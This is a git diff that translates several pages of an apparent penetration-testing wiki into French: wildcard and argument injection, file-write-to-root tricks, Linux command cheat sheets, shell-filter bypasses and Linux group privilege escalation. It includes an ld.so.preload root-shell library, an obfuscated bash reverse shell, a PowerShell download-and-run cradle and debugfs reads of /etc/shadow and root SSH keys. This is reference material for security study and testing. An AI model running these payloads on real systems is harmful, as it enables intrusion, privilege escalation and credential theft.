[https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(attaque tar)_\ +Plus d'infos dans [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) ## Rsync -**Execute arbitrary commands:** - +**Exécuter des commandes arbitraires :** ```bash Interesting rsync option from manual: - -e, --rsh=COMMAND specify the remote shell to use - --rsync-path=PROGRAM specify the rsync to run on remote machine +-e, --rsh=COMMAND specify the remote shell to use +--rsync-path=PROGRAM specify the rsync to run on remote machine ``` ```bash touch "-e sh shell.sh" ``` - -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\ -More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +Vous pouvez exploiter cela en utilisant [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\ +Plus d'infos dans [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) ## 7z -In **7z** even using `--` before `*` (note that `--` means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root: - +Dans **7z**, même en utilisant `--` avant `*` (notez que `--` signifie que l'entrée suivante ne peut pas être traitée comme des paramètres, donc juste des chemins de fichiers dans ce cas), vous pouvez provoquer une erreur arbitraire pour lire un fichier, donc si une commande comme celle-ci est exécutée par root : ```bash 7za a /backup/$filename.zip -t7z -snl -p$pass -- * ``` - -And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink** to the file you want to read: - +Et vous pouvez créer des fichiers dans le dossier où cela est exécuté, vous pourriez créer le fichier `@root.txt` et le fichier `root.txt` étant un **symlink** vers le fichier que vous souhaitez lire : ```bash cd /path/to/7z/acting/folder touch @root.txt ln -s /file/you/want/to/read root.txt ``` +Alors, lorsque **7z** est exécuté, il traitera `root.txt` comme un fichier contenant la liste des fichiers qu'il doit compresser (c'est ce que l'existence de `@root.txt` indique) et lorsque 7z lira `root.txt`, il lira `/file/you/want/to/read` et **comme le contenu de ce fichier n'est pas une liste de fichiers, il renverra une erreur** affichant le contenu. -Then, when **7z** is execute, it will treat `root.txt` as a file containing the list of files it should compress (thats what the existence of `@root.txt` indicates) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error** showing the content. - -_More info in Write-ups of the box CTF from HackTheBox._ +_Davantage d'infos dans les Write-ups de la box CTF de HackTheBox._ ## Zip -**Execute arbitrary commands:** - +**Exécuter des commandes arbitraires :** ```bash zip name.zip files -T --unzip-command "sh -c whoami" ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/write-to-root.md b/src/linux-hardening/privilege-escalation/write-to-root.md index 65f4bbafc..740195337 100644 --- a/src/linux-hardening/privilege-escalation/write-to-root.md +++ b/src/linux-hardening/privilege-escalation/write-to-root.md @@ -1,40 +1,36 @@ -# Arbitrary File Write to Root +# Écriture de fichiers arbitraires en tant que root {{#include ../../banners/hacktricks-training.md}} ### /etc/ld.so.preload -This file behaves like **`LD_PRELOAD`** env variable but it also works in **SUID binaries**.\ -If you can create it or modify it, you can just add a **path to a library that will be loaded** with each executed binary. - -For example: `echo "/tmp/pe.so" > /etc/ld.so.preload` +Ce fichier se comporte comme la variable d'environnement **`LD_PRELOAD`**, mais il fonctionne également avec les **binaires SUID**.\ +Si vous pouvez le créer ou le modifier, vous pouvez simplement ajouter un **chemin vers une bibliothèque qui sera chargée** avec chaque binaire exécuté. +Par exemple : `echo "/tmp/pe.so" > /etc/ld.so.preload` ```c #include #include #include void _init() { - unlink("/etc/ld.so.preload"); - setgid(0); - setuid(0); - system("/bin/bash"); +unlink("/etc/ld.so.preload"); +setgid(0); +setuid(0); +system("/bin/bash"); } //cd /tmp //gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` - ### Git hooks -[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) are **scripts** that are **run** on various **events** in a git repository like when a commit is created, a merge... So if a **privileged script or user** is performing this actions frequently and it's possible to **write in the `.git` folder**, this can be used to **privesc**. - -For example, It's possible to **generate a script** in a git repo in **`.git/hooks`** so it's always executed when a new commit is created: +[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) sont des **scripts** qui sont **exécutés** lors de divers **événements** dans un dépôt git, comme lorsqu'un commit est créé, une fusion... Donc, si un **script ou utilisateur privilégié** effectue ces actions fréquemment et qu'il est possible de **écrire dans le dossier `.git`**, cela peut être utilisé pour **privesc**. +Par exemple, il est possible de **générer un script** dans un dépôt git dans **`.git/hooks`** afin qu'il soit toujours exécuté lorsqu'un nouveau commit est créé : ```bash echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit chmod +x pre-commit ``` - ### Cron & Time files TODO @@ -45,6 +41,6 @@ TODO ### binfmt_misc -The file located in `/proc/sys/fs/binfmt_misc` indicates which binary should execute whic type of files. TODO: check the requirements to abuse this to execute a rev shell when a common file type is open. +Le fichier situé dans `/proc/sys/fs/binfmt_misc` indique quel binaire doit exécuter quel type de fichiers. TODO : vérifier les exigences pour abuser de cela afin d'exécuter un rev shell lorsqu'un type de fichier commun est ouvert. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/useful-linux-commands/README.md b/src/linux-hardening/useful-linux-commands/README.md index f69d43525..8e5e19a16 100644 --- a/src/linux-hardening/useful-linux-commands/README.md +++ b/src/linux-hardening/useful-linux-commands/README.md @@ -1,17 +1,9 @@ -# Useful Linux Commands +# Commandes Linux utiles -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {{#include ../../banners/hacktricks-training.md}} -## Common Bash - +## Bash commun ```bash #Exfiltration using Base64 base64 -w 0 file @@ -130,17 +122,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it # List files inside zip 7z l file.zip ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## Bash for Windows - +## Bash pour Windows ```bash #Base64 for Windows echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 @@ -160,9 +142,7 @@ python pyinstaller.py --onefile exploit.py #sudo apt-get install gcc-mingw-w64-i686 i686-mingw32msvc-gcc -o executable useradd.c ``` - ## Greps - ```bash #Extract emails from file grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt @@ -242,9 +222,7 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt #Extract ISBN Numbers egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt ``` - -## Find - +## Trouver ```bash # Find SUID set files. find / -perm /u=s -ls 2>/dev/null @@ -273,25 +251,19 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p # Found Newer directory only and sort by time. (depth = 5) find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less ``` - -## Nmap search help - +## Aide à la recherche Nmap ```bash #Nmap scripts ((default or version) and smb)) nmap --script-help "(default or version) and *smb*" locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb nmap --script-help "(default or version) and smb)" ``` - ## Bash - ```bash #All bytes inside a file (except 0x20 and 0x00) for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done ``` - ## Iptables - ```bash #Delete curent rules and chains iptables --flush @@ -322,13 +294,4 @@ iptables -P INPUT DROP iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT ``` - {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md index 5391e3c9d..72d0a88ac 100644 --- a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md +++ b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md @@ -1,27 +1,16 @@ -# Bypass Linux Restrictions +# Contourner les restrictions Linux {{#include ../../banners/hacktricks-training.md}} -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## Common Limitations Bypasses - -### Reverse Shell +## Contournements des limitations courantes +### Shell inversé ```bash # Double-Base64 is a great way to avoid bad characters like +, works 99% of the time echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g' # echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h ``` - -### Short Rev shell - +### Shell Rev courte ```bash #Trick from Dikline #Get a rev shell with @@ -29,9 +18,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)| #Then get the out of the rev shell executing inside of it: exec >&0 ``` - -### Bypass Paths and forbidden words - +### Contournement des chemins et des mots interdits ```bash # Question mark binary substitution /usr/bin/p?ng # /usr/bin/ping @@ -86,9 +73,7 @@ mi # This will throw an error whoa # This will throw an error !-1!-2 # This will execute whoami ``` - -### Bypass forbidden spaces - +### Contourner les espaces interdits ```bash # {form} {cat,lol.txt} # cat lol.txt @@ -121,22 +106,16 @@ g # These 4 lines will equal to ping $u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined uname!-1\-a # This equals to uname -a ``` - -### Bypass backslash and slash - +### Contourner le backslash et le slash ```bash cat ${HOME:0:1}etc${HOME:0:1}passwd cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd ``` - -### Bypass pipes - +### Contourner les pipes ```bash bash<<<$(base64 -d<<g` in a file @@ -334,34 +295,25 @@ ln /f* 'sh x' 'sh g' ``` +## Contournement en lecture seule/noexec/distroless -## Read-Only/Noexec/Distroless Bypass - -If you are inside a filesystem with the **read-only and noexec protections** or even in a distroless container, there are still ways to **execute arbitrary binaries, even a shell!:** +Si vous êtes à l'intérieur d'un système de fichiers avec les **protections en lecture seule et noexec** ou même dans un conteneur distroless, il existe encore des moyens d'**exécuter des binaires arbitraires, même un shell ! :** {{#ref}} ../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ {{#endref}} -## Chroot & other Jails Bypass +## Contournement de Chroot et autres Jails {{#ref}} ../privilege-escalation/escaping-from-limited-bash.md {{#endref}} -## References & More +## Références et plus - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits) - [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet) - [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) - [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/) -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/exploiting-yum.md b/src/linux-unix/privilege-escalation/exploiting-yum.md index c4bec532f..a992c20e1 100644 --- a/src/linux-unix/privilege-escalation/exploiting-yum.md +++ b/src/linux-unix/privilege-escalation/exploiting-yum.md @@ -1,25 +1,23 @@ {{#include ../../banners/hacktricks-training.md}} -Further examples around yum can also be found on [gtfobins](https://gtfobins.github.io/gtfobins/yum/). +D'autres exemples autour de yum peuvent également être trouvés sur [gtfobins](https://gtfobins.github.io/gtfobins/yum/). -# Executing arbitrary commands via RPM Packages +# Exécution de commandes arbitraires via des paquets RPM -## Checking the Environment +## Vérification de l'environnement -In order to leverage this vector the user must be able to execute yum commands as a higher privileged user, i.e. root. +Pour exploiter ce vecteur, l'utilisateur doit être en mesure d'exécuter des commandes yum en tant qu'utilisateur ayant des privilèges plus élevés, c'est-à-dire root. -### A working example of this vector +### Un exemple fonctionnel de ce vecteur -A working example of this exploit can be found in the [daily bugle](https://tryhackme.com/room/dailybugle) room on [tryhackme](https://tryhackme.com). +Un exemple fonctionnel de cette exploitation peut être trouvé dans la salle [daily bugle](https://tryhackme.com/room/dailybugle) sur [tryhackme](https://tryhackme.com). -## Packing an RPM +## Emballage d'un RPM -In the following section, I will cover packaging a reverse shell into an RPM using [fpm](https://github.com/jordansissel/fpm). - -The example below creates a package that includes a before-install trigger with an arbitrary script that can be defined by the attacker. When installed, this package will execute the arbitrary command. I've used a simple reverse netcat shell example for demonstration but this can be changed as necessary. +Dans la section suivante, je vais couvrir l'emballage d'un shell inversé dans un RPM en utilisant [fpm](https://github.com/jordansissel/fpm). +L'exemple ci-dessous crée un paquet qui inclut un déclencheur avant l'installation avec un script arbitraire qui peut être défini par l'attaquant. Lors de l'installation, ce paquet exécutera la commande arbitraire. J'ai utilisé un exemple simple de shell netcat inversé à des fins de démonstration, mais cela peut être modifié si nécessaire. ```text ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md index e790cd37d..a05e30069 100644 --- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md @@ -1,18 +1,11 @@ {{#include ../../banners/hacktricks-training.md}} -
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +# Groupes Sudo/Admin -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} - -# Sudo/Admin Groups - -## **PE - Method 1** - -**Sometimes**, **by default \(or because some software needs it\)** inside the **/etc/sudoers** file you can find some of these lines: +## **PE - Méthode 1** +**Parfois**, **par défaut \(ou parce que certains logiciels en ont besoin\)** dans le fichier **/etc/sudoers**, vous pouvez trouver certaines de ces lignes : ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL @@ -20,48 +13,36 @@ Get Access Today: # Allow members of group admin to execute any command %admin ALL=(ALL:ALL) ALL ``` +Cela signifie que **tout utilisateur appartenant au groupe sudo ou admin peut exécuter n'importe quoi en tant que sudo**. -This means that **any user that belongs to the group sudo or admin can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +Si c'est le cas, pour **devenir root, vous pouvez simplement exécuter** : ```text sudo su ``` +## PE - Méthode 2 -## PE - Method 2 - -Find all suid binaries and check if there is the binary **Pkexec**: - +Trouvez tous les binaires suid et vérifiez s'il y a le binaire **Pkexec** : ```bash find / -perm -4000 2>/dev/null ``` - -If you find that the binary pkexec is a SUID binary and you belong to sudo or admin, you could probably execute binaries as sudo using pkexec. -Check the contents of: - +Si vous constatez que le binaire pkexec est un binaire SUID et que vous appartenez à sudo ou admin, vous pourriez probablement exécuter des binaires en tant que sudo en utilisant pkexec. +Vérifiez le contenu de : ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` +Là, vous trouverez quels groupes sont autorisés à exécuter **pkexec** et **par défaut** dans certains linux peuvent **apparaître** certains des groupes **sudo ou admin**. -There you will find which groups are allowed to execute **pkexec** and **by default** in some linux can **appear** some of the groups **sudo or admin**. - -To **become root you can execute**: - +Pour **devenir root, vous pouvez exécuter** : ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` - -If you try to execute **pkexec** and you get this **error**: - +Si vous essayez d'exécuter **pkexec** et que vous obtenez cette **erreur** : ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` - -**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**: - +**Ce n'est pas parce que vous n'avez pas les autorisations, mais parce que vous n'êtes pas connecté sans interface graphique**. Et il existe une solution à ce problème ici : [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Vous avez besoin de **2 sessions ssh différentes** : ```bash:session1 echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec @@ -72,39 +53,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec pkttyagent --process #Step 2, attach pkttyagent to session1 #Step 4, you will be asked in this session to authenticate to pkexec ``` +# Groupe Wheel -# Wheel Group - -**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line: - +**Parfois**, **par défaut** dans le fichier **/etc/sudoers**, vous pouvez trouver cette ligne : ```text %wheel ALL=(ALL:ALL) ALL ``` +Cela signifie que **tout utilisateur appartenant au groupe wheel peut exécuter n'importe quoi en tant que sudo**. -This means that **any user that belongs to the group wheel can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +Si c'est le cas, pour **devenir root, vous pouvez simplement exécuter** : ```text sudo su ``` +# Groupe Shadow -# Shadow Group - -Users from the **group shadow** can **read** the **/etc/shadow** file: - +Les utilisateurs du **groupe shadow** peuvent **lire** le fichier **/etc/shadow** : ```text -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` +Alors, lisez le fichier et essayez de **craquer quelques hachages**. -So, read the file and try to **crack some hashes**. +# Groupe de Disque -# Disk Group - -This privilege is almost **equivalent to root access** as you can access all the data inside of the machine. - -Files:`/dev/sd[a-z][1-9]` +Ce privilège est presque **équivalent à l'accès root** car vous pouvez accéder à toutes les données à l'intérieur de la machine. +Fichiers : `/dev/sd[a-z][1-9]` ```text debugfs /dev/sda1 debugfs: cd /root @@ -112,70 +85,55 @@ debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` - -Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do: - +Notez qu'en utilisant debugfs, vous pouvez également **écrire des fichiers**. Par exemple, pour copier `/tmp/asd1.txt` vers `/tmp/asd2.txt`, vous pouvez faire : ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` - -However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Permission denied**" error. +Cependant, si vous essayez de **écrire des fichiers appartenant à root** \(comme `/etc/shadow` ou `/etc/passwd`\), vous obtiendrez une erreur "**Permission denied**". # Video Group -Using the command `w` you can find **who is logged on the system** and it will show an output like the following one: - +En utilisant la commande `w`, vous pouvez trouver **qui est connecté au système** et cela affichera une sortie comme celle-ci : ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` +Le **tty1** signifie que l'utilisateur **yossi est connecté physiquement** à un terminal sur la machine. -The **tty1** means that the user **yossi is logged physically** to a terminal on the machine. - -The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size` - +Le **groupe vidéo** a accès à l'affichage de la sortie écran. En gros, vous pouvez observer les écrans. Pour ce faire, vous devez **capturer l'image actuelle à l'écran** en données brutes et obtenir la résolution que l'écran utilise. Les données de l'écran peuvent être enregistrées dans `/dev/fb0` et vous pouvez trouver la résolution de cet écran dans `/sys/class/graphics/fb0/virtual_size` ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` - -To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**: +Pour **ouvrir** l'**image brute**, vous pouvez utiliser **GIMP**, sélectionner le fichier **`screen.raw`** et choisir comme type de fichier **Données d'image brute** : ![](../../images/image%20%28208%29.png) -Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\): +Ensuite, modifiez la largeur et la hauteur pour celles utilisées sur l'écran et vérifiez différents types d'images \(et sélectionnez celui qui montre mieux l'écran\) : ![](../../images/image%20%28295%29.png) -# Root Group +# Groupe Root -It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges... - -**Check which files root members can modify**: +Il semble qu'en par défaut, les **membres du groupe root** pourraient avoir accès à **modifier** certains fichiers de configuration de **service** ou certains fichiers de **bibliothèques** ou **d'autres choses intéressantes** qui pourraient être utilisées pour élever les privilèges... +**Vérifiez quels fichiers les membres root peuvent modifier** : ```bash find / -group root -perm -g=w 2>/dev/null ``` +# Groupe Docker -# Docker Group - -You can mount the root filesystem of the host machine to an instance’s volume, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine. +Vous pouvez monter le système de fichiers racine de la machine hôte sur le volume d'une instance, de sorte que lorsque l'instance démarre, elle charge immédiatement un `chroot` dans ce volume. Cela vous donne effectivement un accès root sur la machine. {% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} {% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} -# lxc/lxd Group +# Groupe lxc/lxd -[lxc - Privilege Escalation](lxd-privilege-escalation.md) +[lxc - Escalade de privilèges](lxd-privilege-escalation.md) -
- -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-auto-start-locations.md b/src/macos-hardening/macos-auto-start-locations.md index 5bfd0ae9a..81fd8dd40 100644 --- a/src/macos-hardening/macos-auto-start-locations.md +++ b/src/macos-hardening/macos-auto-start-locations.md @@ -2,241 +2,228 @@ {{#include ../banners/hacktricks-training.md}} -This section is heavily based on the blog series [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), the goal is to add **more Autostart Locations** (if possible), indicate **which techniques are still working** nowadays with latest version of macOS (13.4) and to specify the **permissions** needed. +Cette section est fortement basée sur la série de blogs [**Au-delà des bons vieux LaunchAgents**](https://theevilbit.github.io/beyond/), l'objectif est d'ajouter **plus d'emplacements de démarrage automatique** (si possible), d'indiquer **quelles techniques fonctionnent encore** de nos jours avec la dernière version de macOS (13.4) et de spécifier les **permissions** nécessaires. -## Sandbox Bypass +## Contournement de Sandbox > [!TIP] -> Here you can find start locations useful for **sandbox bypass** that allows you to simply execute something by **writing it into a file** and **waiting** for a very **common** **action**, a determined **amount of time** or an **action you can usually perform** from inside a sandbox without needing root permissions. +> Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contournement de sandbox** qui vous permet d'exécuter simplement quelque chose en **l'écrivant dans un fichier** et en **attendant** une **action très** **courante**, une **durée déterminée** ou une **action que vous pouvez généralement effectuer** de l'intérieur d'une sandbox sans avoir besoin de permissions root. ### Launchd -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC Bypass: [🔴](https://emojipedia.org/large-red-circle) +- Utile pour contourner la sandbox : [✅](https://emojipedia.org/check-mark-button) +- Contournement TCC : [🔴](https://emojipedia.org/large-red-circle) -#### Locations +#### Emplacements - **`/Library/LaunchAgents`** - - **Trigger**: Reboot - - Root required +- **Déclencheur** : Redémarrage +- Root requis - **`/Library/LaunchDaemons`** - - **Trigger**: Reboot - - Root required +- **Déclencheur** : Redémarrage +- Root requis - **`/System/Library/LaunchAgents`** - - **Trigger**: Reboot - - Root required +- **Déclencheur** : Redémarrage +- Root requis - **`/System/Library/LaunchDaemons`** - - **Trigger**: Reboot - - Root required +- **Déclencheur** : Redémarrage +- Root requis - **`~/Library/LaunchAgents`** - - **Trigger**: Relog-in +- **Déclencheur** : Nouvelle connexion - **`~/Library/LaunchDemons`** - - **Trigger**: Relog-in +- **Déclencheur** : Nouvelle connexion > [!TIP] -> As interesting fact, **`launchd`** has an embedded property list in a the Mach-o section `__Text.__config` which contains other well known services launchd must start. Moreover, these services can contain the `RequireSuccess`, `RequireRun` and `RebootOnSuccess` that means that they must be run and complete successfully. +> En fait intéressant, **`launchd`** a une liste de propriétés intégrée dans la section Mach-o `__Text.__config` qui contient d'autres services bien connus que launchd doit démarrer. De plus, ces services peuvent contenir `RequireSuccess`, `RequireRun` et `RebootOnSuccess`, ce qui signifie qu'ils doivent être exécutés et se terminer avec succès. > -> Ofc, It cannot be modified because of code signing. +> Bien sûr, cela ne peut pas être modifié en raison de la signature de code. #### Description & Exploitation -**`launchd`** is the **first** **process** executed by OX S kernel at startup and the last one to finish at shut down. It should always have the **PID 1**. This process will **read and execute** the configurations indicated in the **ASEP** **plists** in: +**`launchd`** est le **premier** **processus** exécuté par le noyau OX S au démarrage et le dernier à se terminer lors de l'arrêt. Il doit toujours avoir le **PID 1**. Ce processus va **lire et exécuter** les configurations indiquées dans les **plists** **ASEP** dans : -- `/Library/LaunchAgents`: Per-user agents installed by the admin -- `/Library/LaunchDaemons`: System-wide daemons installed by the admin -- `/System/Library/LaunchAgents`: Per-user agents provided by Apple. -- `/System/Library/LaunchDaemons`: System-wide daemons provided by Apple. +- `/Library/LaunchAgents` : Agents par utilisateur installés par l'administrateur +- `/Library/LaunchDaemons` : Daemons à l'échelle du système installés par l'administrateur +- `/System/Library/LaunchAgents` : Agents par utilisateur fournis par Apple. +- `/System/Library/LaunchDaemons` : Daemons à l'échelle du système fournis par Apple. -When a user logs in the plists located in `/Users/$USER/Library/LaunchAgents` and `/Users/$USER/Library/LaunchDemons` are started with the **logged users permissions**. - -The **main difference between agents and daemons is that agents are loaded when the user logs in and the daemons are loaded at system startup** (as there are services like ssh that needs to be executed before any user access the system). Also agents may use GUI while daemons need to run in the background. +Lorsqu'un utilisateur se connecte, les plists situées dans `/Users/$USER/Library/LaunchAgents` et `/Users/$USER/Library/LaunchDemons` sont démarrées avec les **permissions des utilisateurs connectés**. +La **principale différence entre les agents et les daemons est que les agents sont chargés lorsque l'utilisateur se connecte et que les daemons sont chargés au démarrage du système** (car il y a des services comme ssh qui doivent être exécutés avant qu'un utilisateur n'accède au système). De plus, les agents peuvent utiliser l'interface graphique tandis que les daemons doivent s'exécuter en arrière-plan. ```xml - Label - com.apple.someidentifier - ProgramArguments - - bash -c 'touch /tmp/launched' - - RunAtLoad - StartInterval - 800 - KeepAlive - - SuccessfulExit - - +Label +com.apple.someidentifier +ProgramArguments + +bash -c 'touch /tmp/launched' + +RunAtLoad +StartInterval +800 +KeepAlive + +SuccessfulExit + + ``` - -There are cases where an **agent needs to be executed before the user logins**, these are called **PreLoginAgents**. For example, this is useful to provide assistive technology at login. They can be found also in `/Library/LaunchAgents`(see [**here**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) an example). +Il existe des cas où un **agent doit être exécuté avant que l'utilisateur ne se connecte**, ceux-ci sont appelés **PreLoginAgents**. Par exemple, cela est utile pour fournir une technologie d'assistance à la connexion. Ils peuvent également être trouvés dans `/Library/LaunchAgents` (voir [**ici**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) un exemple). > [!NOTE] -> New Daemons or Agents config files will be **loaded after next reboot or using** 